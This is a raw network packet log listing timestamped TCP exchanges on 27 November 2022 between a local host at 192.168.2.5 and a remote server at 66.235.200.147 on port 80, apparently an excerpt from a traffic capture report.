Nov 27, 2022 04:36:42.990603924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990627050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990632057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990650892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990653992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990675926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990700006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990722895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990725040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990746975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990750074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.990771055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.990794897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991095066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991151094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991175890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991200924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991225004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991249084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991272926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991274118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991295099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991298914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991324902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991348982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991374016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991379976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991398096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991415024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991422892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991446972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991472006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991478920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991494894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991508007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991549969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991566896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991575003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991601944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991626978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991651058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991662025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991676092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991702080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991709948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991725922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991749048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991759062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991772890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991785049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.991797924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.991858959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992078066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992104053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992127895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992151976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992151976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992180109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992192030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992207050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992233038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992232084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992258072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992284060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992307901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992324114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992333889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992345095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992362022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992388010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992399931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992413998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992439032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992453098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992466927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992491961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992516994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992521048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992542982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992542028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992563963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992582083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992599010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992608070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992634058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992659092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992661953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992683887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.992685080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992717028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.992805004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993079901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993105888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993129969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993155956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993175983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993181944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993206024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993207932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993232965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993243933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993257999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993283033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993309021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993316889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993335009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993344069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993360996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993386030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993393898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993411064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993434906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993460894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993478060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993484974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993496895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993510962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993537903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993562937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993566990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993588924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993592024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993614912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993638992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993663073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993670940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993685961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993711948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.993722916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.993781090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994070053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994096041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994119883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994143963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994146109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994162083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994170904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994196892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994218111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994220018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994246960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994271994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994287968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994297028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994321108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994329929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994348049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994373083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994374037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994399071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994417906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994432926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994452953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994472980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994492054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994498968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994513988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994524002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994537115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994559050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994568110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994580030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994601011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994621992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994635105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994659901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.994918108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.994981050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995003939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995024920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995045900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995065928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995069027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995090008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995099068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995112896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995124102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995134115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995146036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995157003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995177984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995193005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995207071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995218992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995223999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995245934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995266914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995271921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995290041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995311022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995315075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995332956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995338917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995356083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995377064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995394945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995397091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995419025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995436907 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995440960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995462894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995484114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995493889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995558023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.995889902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995913982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995929003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995944977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995963097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995978117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.995996952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996012926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996026993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996048927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996073008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996093988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996114016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996134996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996154070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996170044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996170998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996176004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996170998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996170998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996198893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996222019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996229887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996243954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996252060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996264935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996285915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996298075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996306896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996326923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996342897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996351004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996371984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996392965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996402979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996437073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.996886969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996908903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996929884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996951103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996972084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996992111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.996994972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997013092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997023106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997035980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997049093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997076988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997092962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997113943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997134924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997149944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997159004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997180939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997189045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997201920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997222900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997243881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997256994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997263908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997279882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997284889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997307062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997312069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997328043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997350931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997364044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997373104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997394085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997399092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997416019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997438908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997458935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997476101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997498035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997864008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997885942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997905016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997925043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997946024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997956991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997967958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997989893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.997996092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.997996092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998009920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998033047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998044968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998061895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998084068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998095989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998106956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998130083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998151064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998161077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998171091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998191118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998193979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998215914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998228073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998238087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998259068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998279095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998287916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998301029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998317003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998323917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998346090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998364925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998444080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998444080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998852015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998883009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998908043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998929977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998950958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998971939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.998974085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998974085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.998994112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999010086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999017000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999038935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999061108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999080896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999100924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999121904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999123096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999124050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999124050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999141932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999166012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999176025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999190092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999211073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999232054 CET	80	49705	66.235.200.147	192.168.2.5
